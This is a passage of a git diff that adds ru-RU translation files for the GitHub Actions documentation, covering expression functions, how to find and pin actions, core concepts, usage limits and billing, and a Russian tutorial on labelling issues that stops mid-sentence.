must specify at least one `replaceValue` and `string`. There is no maximum for the number of variables (`replaceValueN`) you can use. Escape curly braces using double braces. + +#### Example + +`format('Hello {0} {1} {2}', 'Mona', 'the', 'Octocat')` + +Returns 'Hello Mona the Octocat'. + +#### Example escaping braces + +{% raw %} +```js +format('{{Hello {0} {1} {2}!}}', 'Mona', 'the', 'Octocat') +``` +{% endraw %} + +Returns '{Hello Mona the Octocat!}'. + +### join + +`join( array, optionalSeparator )` + +The value for `array` can be an array or a string. All values in `array` are concatenated into a string. If you provide `optionalSeparator`, it is inserted between the concatenated values. Otherwise, the default separator `,` is used. Casts values to a string. + +#### Example + +`join(github.event.issue.labels.*.name, ', ')` may return 'bug, help wanted' + +### toJSON + +`toJSON(value)` + +Returns a pretty-print JSON representation of `value`. You can use this function to debug the information provided in contexts. + +#### Example + +`toJSON(job)` might return `{ "status": "Success" }` + +### fromJSON + +`fromJSON(value)` + +Returns a JSON object or JSON data type for `value`. You can use this function to provide a JSON object as an evaluated expression or to convert environment variables from a string. + +#### Example returning a JSON object + +This workflow sets a JSON matrix in one job, and passes it to the next job using an output and `fromJSON`. + +{% raw %} +```yaml +name: build +on: push +jobs: + job1: + runs-on: ubuntu-latest + outputs: + matrix: ${{ steps.set-matrix.outputs.matrix }} + steps: + - id: set-matrix{% endraw %} +{%- ifversion actions-save-state-set-output-envs %} + run: echo "matrix={\"include\":[{\"project\":\"foo\",\"config\":\"Debug\"},{\"project\":\"bar\",\"config\":\"Release\"}]}" >> $GITHUB_OUTPUT +{%- else %} + run: echo "::set-output name=matrix::{\"include\":[{\"project\":\"foo\",\"config\":\"Debug\"},{\"project\":\"bar\",\"config\":\"Release\"}]}" +{%- endif %}{% raw %} + job2: + needs: job1 + runs-on: ubuntu-latest + strategy: + matrix: ${{ fromJSON(needs.job1.outputs.matrix) }} + steps: + - run: build +``` +{% endraw %} + +#### Example returning a JSON data type + +This workflow uses `fromJSON` to convert environment variables from a string to a Boolean or integer. + +{% raw %} +```yaml +name: print +on: push +env: + continue: true + time: 3 +jobs: + job1: + runs-on: ubuntu-latest + steps: + - continue-on-error: ${{ fromJSON(env.continue) }} + timeout-minutes: ${{ fromJSON(env.time) }} + run: echo ... +``` +{% endraw %} + +### hashFiles + +`hashFiles(path)` + +Returns a single hash for the set of files that matches the `path` pattern. You can provide a single `path` pattern or multiple `path` patterns separated by commas. The `path` is relative to the `GITHUB_WORKSPACE` directory and can only include files inside of the `GITHUB_WORKSPACE`. This function calculates an individual SHA-256 hash for each matched file, and then uses those hashes to calculate a final SHA-256 hash for the set of files. If the `path` pattern does not match any files, this returns an empty string. For more information about SHA-256, see "[SHA-2](https://en.wikipedia.org/wiki/SHA-2)." + +You can use pattern matching characters to match file names. Pattern matching is case-insensitive on Windows. For more information about supported pattern matching characters, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)." + +#### Example with a single pattern + +Matches any `package-lock.json` file in the repository. + +`hashFiles('**/package-lock.json')` + +#### Example with multiple patterns + +Creates a hash for any `package-lock.json` and `Gemfile.lock` files in the repository. + +`hashFiles('**/package-lock.json', '**/Gemfile.lock')` + + +{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} +## Status check functions + +You can use the following status check functions as expressions in `if` conditionals. A default status check of `success()` is applied unless you include one of these functions. For more information about `if` conditionals, see "[Workflow syntax for GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)" and "[Metadata syntax for GitHub Composite Actions](/actions/creating-actions/metadata-syntax-for-github-actions/#runsstepsif)". +{% else %} +## Check Functions +You can use the following status check functions as expressions in `if` conditionals. A default status check of `success()` is applied unless you include one of these functions. For more information about `if` conditionals, see "[Workflow syntax for GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)". +{% endif %} + +### success + +Returns `true` when none of the previous steps have failed or been canceled. + +#### Example + +```yaml +steps: + ... + - name: The job has succeeded + if: {% raw %}${{ success() }}{% endraw %} +``` + +### always + +Causes the step to always execute, and returns `true`, even when canceled. A job or step will not run when a critical failure prevents the task from running. For example, if getting sources failed. + +#### Example + +```yaml +if: {% raw %}${{ always() }}{% endraw %} +``` + +### cancelled + +Returns `true` if the workflow was canceled. + +#### Example + +```yaml +if: {% raw %}${{ cancelled() }}{% endraw %} +``` + +### failure + +Returns `true` when any previous step of a job fails. If you have a chain of dependent jobs, `failure()` returns `true` if any ancestor job fails. + +#### Example + +```yaml +steps: + ... + - name: The job has failed + if: {% raw %}${{ failure() }}{% endraw %} +``` + +#### failure with conditions + +You can include extra conditions for a step to run after a failure, but you must still include `failure()` to override the default status check of `success()` that is automatically applied to `if` conditions that don't contain a status check function. + +##### Example + +```yaml +steps: + ... + - name: Failing step + id: demo + run: exit 1 + - name: The demo step has failed + if: {% raw %}${{ failure() && steps.demo.conclusion == 'failure' }}{% endraw %} +``` + +## Object filters + +You can use the `*` syntax to apply a filter and select matching items in a collection. + +For example, consider an array of objects named `fruits`. + +```json +[ + { "name": "apple", "quantity": 1 }, + { "name": "orange", "quantity": 2 }, + { "name": "pear", "quantity": 1 } +] +``` + +The filter `fruits.*.name` returns the array `[ "apple", "orange", "pear" ]`. + +You may also use the `*` syntax on an object. For example, suppose you have an object named `vegetables`. + +```json + +{ + "scallions": + { + "colors": ["green", "white", "red"], + "ediblePortions": ["roots", "stalks"], + }, + "beets": + { + "colors": ["purple", "red", "gold", "white", "pink"], + "ediblePortions": ["roots", "stems", "leaves"], + }, + "artichokes": + { + "colors": ["green", "purple", "red", "black"], + "ediblePortions": ["hearts", "stems", "leaves"], + }, +} +``` + +The filter `vegetables.*.ediblePortions` could evaluate to: + +```json + +[ + ["roots", "stalks"], + ["hearts", "stems", "leaves"], + ["roots", "stems", "leaves"], +] +``` + +Since objects don't preserve order, the order of the output can not be guaranteed. diff --git a/translations/ru-RU/content/actions/learn-github-actions/finding-and-customizing-actions.md b/translations/ru-RU/content/actions/learn-github-actions/finding-and-customizing-actions.md new file mode 100644 index 000000000000..26a3fa77435e --- /dev/null +++ b/translations/ru-RU/content/actions/learn-github-actions/finding-and-customizing-actions.md @@ -0,0 +1,209 @@ +--- +title: Finding and customizing actions +shortTitle: Find and customize actions +intro: 'Actions are the building blocks that power your workflow. A workflow can contain actions created by the community, or you can create your own actions directly within your application''s repository. This guide will show you how to discover, use, and customize actions.' +redirect_from: + - /actions/automating-your-workflow-with-github-actions/using-github-marketplace-actions + - /actions/automating-your-workflow-with-github-actions/using-actions-from-github-marketplace-in-your-workflow + - /actions/getting-started-with-github-actions/using-actions-from-github-marketplace + - /actions/getting-started-with-github-actions/using-community-workflows-and-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Fundamentals +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Overview + +The actions you use in your workflow can be defined in: + +- The same repository as your workflow file{% ifversion internal-actions %} +- An internal repository within the same enterprise account that is configured to allow access to workflows{% endif %} +- Any public repository +- A published Docker container image on Docker Hub + +{% data variables.product.prodname_marketplace %} is a central location for you to find actions created by the {% data variables.product.prodname_dotcom %} community.{% ifversion fpt or ghec %} [{% data variables.product.prodname_marketplace %} page](https://github.com/marketplace/actions/) enables you to filter for actions by category. {% endif %} + +{% data reusables.actions.enterprise-marketplace-actions %} + +{% ifversion fpt or ghec %} + +## Browsing Marketplace actions in the workflow editor + +You can search and browse actions directly in your repository's workflow editor. From the sidebar, you can search for a specific action, view featured actions, and browse featured categories. You can also view the number of stars an action has received from the {% data variables.product.prodname_dotcom %} community. + +1. In your repository, browse to the workflow file you want to edit. +1. In the upper right corner of the file view, to open the workflow editor, click {% octicon "pencil" aria-label="The edit icon" %}. + ![Edit workflow file button](/assets/images/help/repository/actions-edit-workflow-file.png) +1. To the right of the editor, use the {% data variables.product.prodname_marketplace %} sidebar to browse actions. Actions with the {% octicon "verified" aria-label="The verified badge" %} badge indicate {% data variables.product.prodname_dotcom %} has verified the creator of the action as a partner organization. + ![Marketplace workflow sidebar](/assets/images/help/repository/actions-marketplace-sidebar.png) + +## Adding an action to your workflow + +You can add an action to your workflow by referencing the action in your workflow file. + +You can view the actions referenced in your {% data variables.product.prodname_actions %} workflows as dependencies in the dependency graph of the repository containing your workflows. For more information, see “[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph).” + +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} + +{% note %} + +**Note:** To enhance security, {% data variables.product.prodname_actions %} is deprecating redirects for actions. This means that when the owner or name of an action's repository is changed, any workflows using that action with the previous name will fail. + +{% endnote %} + +{% endif %} + +### Adding an action from {% data variables.product.prodname_marketplace %} + +An action's listing page includes the action's version and the workflow syntax required to use the action. To keep your workflow stable even when updates are made to an action, you can reference the version of the action to use by specifying the Git or Docker tag number in your workflow file. + +1. Navigate to the action you want to use in your workflow. +1. Under "Installation", click {% octicon "clippy" aria-label="The edit icon" %} to copy the workflow syntax. + ![View action listing](/assets/images/help/repository/actions-sidebar-detailed-view.png) +1. Paste the syntax as a new step in your workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)." +1. If the action requires you to provide inputs, set them in your workflow. For information on inputs an action might require, see "[Using inputs and outputs with an action](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)." + +{% data reusables.dependabot.version-updates-for-actions %} + +{% endif %} + +### Adding an action from the same repository + +If an action is defined in the same repository where your workflow file uses the action, you can reference the action with either the ‌`{owner}/{repo}@{ref}` or `./path/to/dir` syntax in your workflow file. + +Example repository file structure: + +``` +|-- hello-world (repository) +| |__ .github +| └── workflows +| └── my-first-workflow.yml +| └── actions +| |__ hello-world-action +| └── action.yml +``` + +Example workflow file: + +```yaml +jobs: + build: + runs-on: ubuntu-latest + steps: + # This step checks out a copy of your repository. + - uses: {% data reusables.actions.action-checkout %} + # This step references the directory that contains the action. + - uses: ./.github/actions/hello-world-action +``` + +The `action.yml` file is used to provide metadata for the action. Learn about the content of this file in "[Metadata syntax for GitHub Actions](/actions/creating-actions/metadata-syntax-for-github-actions)." + +### Adding an action from a different repository + +If an action is defined in a different repository than your workflow file, you can reference the action with the `{owner}/{repo}@{ref}` syntax in your workflow file. + +The action must be stored in a public repository{% ifversion internal-actions %} or an internal repository that is configured to allow access to workflows. For more information, see "[Sharing actions and workflows with your enterprise](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise)."{% else %}.{% endif %} + +```yaml +jobs: + my_first_job: + steps: + - name: My first step + uses: {% data reusables.actions.action-setup-node %} +``` + +### Referencing a container on Docker Hub + +If an action is defined in a published Docker container image on Docker Hub, you must reference the action with the `docker://{image}:{tag}` syntax in your workflow file. To protect your code and data, we strongly recommend you verify the integrity of the Docker container image from Docker Hub before using it in your workflow. + +```yaml +jobs: + my_first_job: + steps: + - name: My first step + uses: docker://alpine:3.8 +``` + +For some examples of Docker actions, see the [Docker-image.yml workflow](https://github.com/actions/starter-workflows/blob/main/ci/docker-image.yml) and "[Creating a Docker container action](/articles/creating-a-docker-container-action)." + + +## Using release management for your custom actions + +The creators of a community action have the option to use tags, branches, or SHA values to manage releases of the action. Similar to any dependency, you should indicate the version of the action you'd like to use based on your comfort with automatically accepting updates to the action. + +You will designate the version of the action in your workflow file. Check the action's documentation for information on their approach to release management, and to see which tag, branch, or SHA value to use. + +{% note %} + +**Note:** We recommend that you use a SHA value when using third-party actions. For more information, see [Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-third-party-actions) + +{% endnote %} + +### Using tags + +Tags are useful for letting you decide when to switch between major and minor versions, but these are more ephemeral and can be moved or deleted by the maintainer. This example demonstrates how to target an action that's been tagged as `v1.0.1`: + +```yaml +steps: + - uses: actions/javascript-action@v1.0.1 +``` + +### Using SHAs + +If you need more reliable versioning, you should use the SHA value associated with the version of the action. SHAs are immutable and therefore more reliable than tags or branches. However this approach means you will not automatically receive updates for an action, including important bug fixes and security updates. You must use a commit's full SHA value, and not an abbreviated value. This example targets an action's SHA: + +```yaml +steps: + - uses: actions/javascript-action@172239021f7ba04fe7327647b213799853a9eb89 +``` + +### Using branches + +Specifying a target branch for the action means it will always run the version currently on that branch. This approach can create problems if an update to the branch includes breaking changes. This example targets a branch named `@main`: + +```yaml +steps: + - uses: actions/javascript-action@main +``` + +For more information, see "[Using release management for actions](/actions/creating-actions/about-actions#using-release-management-for-actions)." + +## Using inputs and outputs with an action + +An action often accepts or requires inputs and generates outputs that you can use. For example, an action might require you to specify a path to a file, the name of a label, or other data it will use as part of the action processing. + +To see the inputs and outputs of an action, check the `action.yml` or `action.yaml` in the root directory of the repository. + +In this example `action.yml`, the `inputs` keyword defines a required input called `file-path`, and includes a default value that will be used if none is specified. The `outputs` keyword defines an output called `results-file`, which tells you where to locate the results. + +```yaml +name: "Example" +description: "Receives file and generates output" +inputs: + file-path: # id of input + description: "Path to test script" + required: true + default: "test-file.js" +outputs: + results-file: # id of output + description: "Path to results file" +``` + +{% ifversion ghae %} + +## Using the actions included with {% data variables.product.prodname_ghe_managed %} + +By default, you can use most of the official {% data variables.product.prodname_dotcom %}-authored actions in {% data variables.product.prodname_ghe_managed %}. For more information, see "[Using actions in {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-actions-in-github-ae)." +{% endif %} + +## Next steps + +To continue learning about {% data variables.product.prodname_actions %}, see "[Essential features of {% data variables.product.prodname_actions %}](/actions/learn-github-actions/essential-features-of-github-actions)." diff --git a/translations/ru-RU/content/actions/learn-github-actions/index.md b/translations/ru-RU/content/actions/learn-github-actions/index.md new file mode 100644 index 000000000000..5ef6d25fc13d --- /dev/null +++ b/translations/ru-RU/content/actions/learn-github-actions/index.md @@ -0,0 +1,36 @@ +--- +title: Изучение GitHub Actions +shortTitle: Learn GitHub Actions +intro: 'Даже если вы недавно начали работать с {% data variables.product.prodname_actions %} или хотите узнать обо всех возможностях этого решения, это руководство поможет вам использовать {% data variables.product.prodname_actions %} для ускорения рабочих процессов разработки приложений.' +redirect_from: + - /articles/about-github-actions + - /actions/getting-started-with-github-actions + - /actions/getting-started-with-github-actions/about-github-actions + - /actions/getting-started-with-github-actions/overview + - /actions/getting-started-with-github-actions/getting-started-with-github-actions + - /articles/getting-started-with-github-actions + - /github/automating-your-workflow-with-github-actions/about-github-actions + - /actions/automating-your-workflow-with-github-actions/about-github-actions + - /github/automating-your-workflow-with-github-actions/getting-started-with-github-actions + - /actions/automating-your-workflow-with-github-actions/getting-started-with-github-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /understanding-github-actions + - /finding-and-customizing-actions + - /essential-features-of-github-actions + - /expressions + - /contexts + - /environment-variables + - /usage-limits-billing-and-administration +ms.openlocfilehash: dcc50450ec26cbe5336d3eaca9c80df29a936ab9 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145116931' +--- + diff --git a/translations/ru-RU/content/actions/learn-github-actions/understanding-github-actions.md b/translations/ru-RU/content/actions/learn-github-actions/understanding-github-actions.md new file mode 100644 index 000000000000..c839f8115018 --- /dev/null +++ b/translations/ru-RU/content/actions/learn-github-actions/understanding-github-actions.md @@ -0,0 +1,102 @@ +--- +title: Understanding GitHub Actions +shortTitle: Understand GitHub Actions +intro: 'Learn the basics of {% data variables.product.prodname_actions %}, including core concepts and essential terminology.' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions + - /actions/automating-your-workflow-with-github-actions/core-concepts-for-github-actions + - /actions/getting-started-with-github-actions/core-concepts-for-github-actions + - /actions/learn-github-actions/introduction-to-github-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Fundamentals +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Overview + +{% data reusables.actions.about-actions %} You can create workflows that build and test every pull request to your repository, or deploy merged pull requests to production. + +{% data variables.product.prodname_actions %} goes beyond just DevOps and lets you run workflows when other events happen in your repository. For example, you can run a workflow to automatically add the appropriate labels whenever someone creates a new issue in your repository. + +{% ifversion fpt or ghec %} + +{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure. + +{% elsif ghes or ghae %} + +You must host your own Linux, Windows, or macOS virtual machines to run workflows for {% data variables.location.product_location %}. {% data reusables.actions.self-hosted-runner-locations %} + +{% endif %} + +{% ifversion ghec or ghes or ghae %} + +For more information about introducing {% data variables.product.prodname_actions %} to your enterprise, see "[Introducing {% data variables.product.prodname_actions %} to your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)." + +{% endif %} + +## The components of {% data variables.product.prodname_actions %} + +You can configure a {% data variables.product.prodname_actions %} _workflow_ to be triggered when an _event_ occurs in your repository, such as a pull request being opened or an issue being created. Your workflow contains one or more _jobs_ which can run in sequential order or in parallel. Each job will run inside its own virtual machine _runner_, or inside a container, and has one or more _steps_ that either run a script that you define or run an _action_, which is a reusable extension that can simplify your workflow. + +![Workflow overview](/assets/images/help/images/overview-actions-simple.png) + +### Workflows + +{% data reusables.actions.about-workflows-long %} + +{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}You can reference a workflow within another workflow, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."{% endif %} + +For more information about workflows, see "[Using workflows](/actions/using-workflows)." + +### Events + +An event is a specific activity in a repository that triggers a workflow run. For example, activity can originate from {% data variables.product.prodname_dotcom %} when someone creates a pull request, opens an issue, or pushes a commit to a repository. You can also trigger a workflow run on a schedule, by [posting to a REST API](/rest/reference/repos#create-a-repository-dispatch-event), or manually. + +For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/reference/events-that-trigger-workflows). + +### Jobs + +A job is a set of _steps_ in a workflow that execute on the same runner. Each step is either a shell script that will be executed, or an _action_ that will be run. Steps are executed in order and are dependent on each other. Since each step is executed on the same runner, you can share data from one step to another. For example, you can have a step that builds your application followed by a step that tests the application that was built. + +You can configure a job's dependencies with other jobs; by default, jobs have no dependencies and run in parallel with each other. When a job takes a dependency on another job, it will wait for the dependent job to complete before it can run. For example, you may have multiple build jobs for different architectures that have no dependencies, and a packaging job that is dependent on those jobs. The build jobs will run in parallel, and when they have all completed successfully, the packaging job will run. + +For more information about jobs, see "[Using jobs](/actions/using-jobs)." + +### Actions + +An _action_ is a custom application for the {% data variables.product.prodname_actions %} platform that performs a complex but frequently repeated task. Use an action to help reduce the amount of repetitive code that you write in your workflow files. An action can pull your git repository from {% data variables.product.prodname_dotcom %}, set up the correct toolchain for your build environment, or set up the authentication to your cloud provider. + +You can write your own actions, or you can find actions to use in your workflows in the {% data variables.product.prodname_marketplace %}. + +{% data reusables.actions.internal-actions-summary %} + +For more information, see "[Creating actions](/actions/creating-actions)." + +### Runners + +{% data reusables.actions.about-runners %} Each runner can run a single job at a time. {% ifversion ghes or ghae %} You must host your own runners for {% data variables.product.product_name %}. {% elsif fpt or ghec %}{% data variables.product.company_short %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your workflows; each workflow run executes in a fresh, newly-provisioned virtual machine. {% ifversion actions-hosted-runners %} {% data variables.product.prodname_dotcom %} also offers {% data variables.actions.hosted_runner %}s, which are available in larger configurations. For more information, see "[Using {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/using-larger-runners)." {% endif %}If you need a different operating system or require a specific hardware configuration, you can host your own runners.{% endif %} For more information{% ifversion fpt or ghec %} about self-hosted runners{% endif %}, see "[Hosting your own runners](/actions/hosting-your-own-runners)." + +{% data reusables.actions.workflow-basic-example-and-explanation %} + +## Next steps + +{% data reusables.actions.onboarding-next-steps %} + +## Contacting support + +{% data reusables.actions.contacting-support %} + +{% ifversion ghec or ghes or ghae %} +## Further reading + +- "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)" +{% endif %} diff --git a/translations/ru-RU/content/actions/learn-github-actions/usage-limits-billing-and-administration.md b/translations/ru-RU/content/actions/learn-github-actions/usage-limits-billing-and-administration.md new file mode 100644 index 000000000000..0d316eca1f76 --- /dev/null +++ b/translations/ru-RU/content/actions/learn-github-actions/usage-limits-billing-and-administration.md @@ -0,0 +1,125 @@ +--- +title: 'Usage limits, billing, and administration' +intro: 'There are usage limits for {% data variables.product.prodname_actions %} workflows. Usage charges apply to repositories that go beyond the amount of free minutes and storage for a repository.' +redirect_from: + - /actions/getting-started-with-github-actions/usage-and-billing-information-for-github-actions + - /actions/reference/usage-limits-billing-and-administration +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Billing +shortTitle: Workflow billing & limits +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About billing for {% data variables.product.prodname_actions %} + +{% data reusables.repositories.about-github-actions %} For more information, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions){% ifversion fpt %}."{% elsif ghes or ghec %}" and "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)."{% endif %} + +{% ifversion fpt or ghec %} +{% data reusables.actions.actions-billing %} For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." +{% else %} +GitHub Actions usage is free for {% data variables.product.prodname_ghe_server %} instances that use self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)." +{% endif %} + + +{% ifversion fpt or ghec %} + +## Availability + +{% data variables.product.prodname_actions %} is available on all {% data variables.product.prodname_dotcom %} products, but {% data variables.product.prodname_actions %} is not available for private repositories owned by accounts using legacy per-repository plans. {% data reusables.gated-features.more-info %} + +{% endif %} + +## Usage limits + +{% ifversion fpt or ghec %} +There are some limits on {% data variables.product.prodname_actions %} usage when using {% data variables.product.prodname_dotcom %}-hosted runners. These limits are subject to change. + +{% note %} + +**Note:** For self-hosted runners, different usage limits apply. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)." + +{% endnote %} + +- **Job execution time** - Each job in a workflow can run for up to 6 hours of execution time. If a job reaches this limit, the job is terminated and fails to complete. +{% data reusables.actions.usage-workflow-run-time %} +{% data reusables.actions.usage-api-requests %} +- **Concurrent jobs** - The number of concurrent jobs you can run in your account depends on your GitHub plan, as well as the type of runner used. If exceeded, any additional jobs are queued. + + **Standard {% data variables.product.prodname_dotcom %}-hosted runners** + + | GitHub plan | Total concurrent jobs | Maximum concurrent macOS jobs | + |---|---|---| + | Free | 20 | 5 | + | Pro | 40 | 5 | + | Team | 60 | 5 | + | Enterprise | 180 | 50 | + + **{% data variables.product.prodname_dotcom %}-hosted {% data variables.actions.hosted_runner %}s** + + | GitHub plan | Total concurrent jobs | Maximum concurrent macOS jobs | + |---|---|---| + | All | 500 | n/a | + + {% note %} + + **Note:** If required, customers on enterprise plans can request a higher limit for concurrent jobs. For more information, contact {% data variables.contact.contact_ent_support %} or your sales representative. + + {% endnote %} + +- **Job matrix** - {% data reusables.actions.usage-matrix-limits %} +{% data reusables.actions.usage-workflow-queue-limits %} + +{% else %} +Usage limits apply to self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)." +{% endif %} + +{% ifversion fpt or ghec %} +## Usage policy + +In addition to the usage limits, you must ensure that you use {% data variables.product.prodname_actions %} within the [GitHub Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service/). For more information on {% data variables.product.prodname_actions %}-specific terms, see the [GitHub Additional Product Terms](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage). +{% endif %} + +{% ifversion fpt or ghes > 3.3 or ghec %} +## Billing for reusable workflows + +{% data reusables.actions.reusable-workflows-ghes-beta %} + +If you reuse a workflow, billing is always associated with the caller workflow. Assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. The caller cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. + +For more information see, "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." +{% endif %} + +## Artifact and log retention policy + +You can configure the artifact and log retention period for your repository, organization, or enterprise account. + +{% data reusables.actions.about-artifact-log-retention %} + +For more information, see: + +- "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)" +- "[Configuring the retention period for {% data variables.product.prodname_actions %} for artifacts and logs in your organization](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)" +- "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)" + +## Disabling or limiting {% data variables.product.prodname_actions %} for your repository or organization + +{% data reusables.actions.disabling-github-actions %} + +For more information, see: +- "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)" +- "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" +- "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)" + +## Disabling and enabling workflows + +You can enable and disable individual workflows in your repository on {% data variables.product.prodname_dotcom %}. + +{% data reusables.actions.scheduled-workflows-disabled %} + +For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)." diff --git a/translations/ru-RU/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md b/translations/ru-RU/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md new file mode 100644 index 000000000000..f0982f0d25dd --- /dev/null +++ b/translations/ru-RU/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md @@ -0,0 +1,79 @@ +--- +title: Добавление меток к проблемам +shortTitle: Add labels to issues +intro: 'Вы можете использовать {% data variables.product.prodname_actions %}, чтобы автоматически отмечать проблемы.' +redirect_from: + - /actions/guides/adding-labels-to-issues +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Workflows + - Project management +ms.openlocfilehash: e5cb19c98e2d136e67a14726c9edff328f299034 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010032' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве показано, как использовать [действие `andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler) в рабочем процессе для добавления меток к новым открытым или повторно открытым проблемам. Например, метку `triage` можно добавлять при каждом открытии или повторном открытии проблемы. Затем можно просмотреть все проблемы, которые необходимо уделить внимание, отфильтровав проблемы с меткой `triage`. + +В этом руководстве вы сначала создадите файл рабочего процесса, использующий [действие `andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler). Затем вы настроите рабочий процесс в соответствии с вашими потребностями. + +## Создание рабочего процесса + +1. {% data reusables.actions.choose-repo %} +2. {% data reusables.actions.make-workflow-file %} +3. Скопируйте следующее содержимое YAML в файл рабочего процесса. + + ```yaml{:copy} +{% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %} + +{% indented_data_reference reusables.actions.actions-use-sha-pinning-comment spaces=4 %} + + name: Label issues + on: + issues: + types: + - reopened + - opened + jobs: + label_issues: + runs-on: ubuntu-latest + permissions: + issues: write + steps: + - name: Label issues + uses: andymckay/labeler@e6c4322d0397f3240f0e7e30a33b5c5df2d39e90 + with: + add-labels: "triage" + repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + ``` + +4. Настройте параметры в файле рабочего процесса. + - В качестве значения для `add-labels` укажите список меток, которые вы хотите добавить к проблеме. Несколько меток следует разделять запятыми. Например, `"help wanted, good first issue"`. Дополнительные сведения о метках см. в статье "[Управление метками](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)". +5. {% data reusables.actions.commit-workflow %} + +## Тестирование рабочего процесса + +При каждом открытии или повторном открытии проблемы в репозитории этот рабочий процесс будет добавлять к ней указанные метки. + +Протестируйте рабочий процесс, создав проблему в репозитории. + +1. Создайте проблему в репозитории. Дополнительные сведения см. в статье "[Создание проблемы](/github/managing-your-work-on-github/creating-an-issue)". +2. Чтобы просмотреть выполнение рабочего процесса, которое было активировано путем создания проблемы, просмотрите журнал выполнений рабочего процесса. Дополнительные сведения см. в статье "[Просмотр журнала выполнения рабочего процесса](/actions/managing-workflow-runs/viewing-workflow-run-history)". +3. После завершения рабочего процесса к созданной проблеме должны быть добавлены указанные метки. + +## Дальнейшие действия + +- Дополнительные сведения о задачах, которые можно выполнять с помощью действия `andymckay/labeler`, например удаление меток или пропуск этого 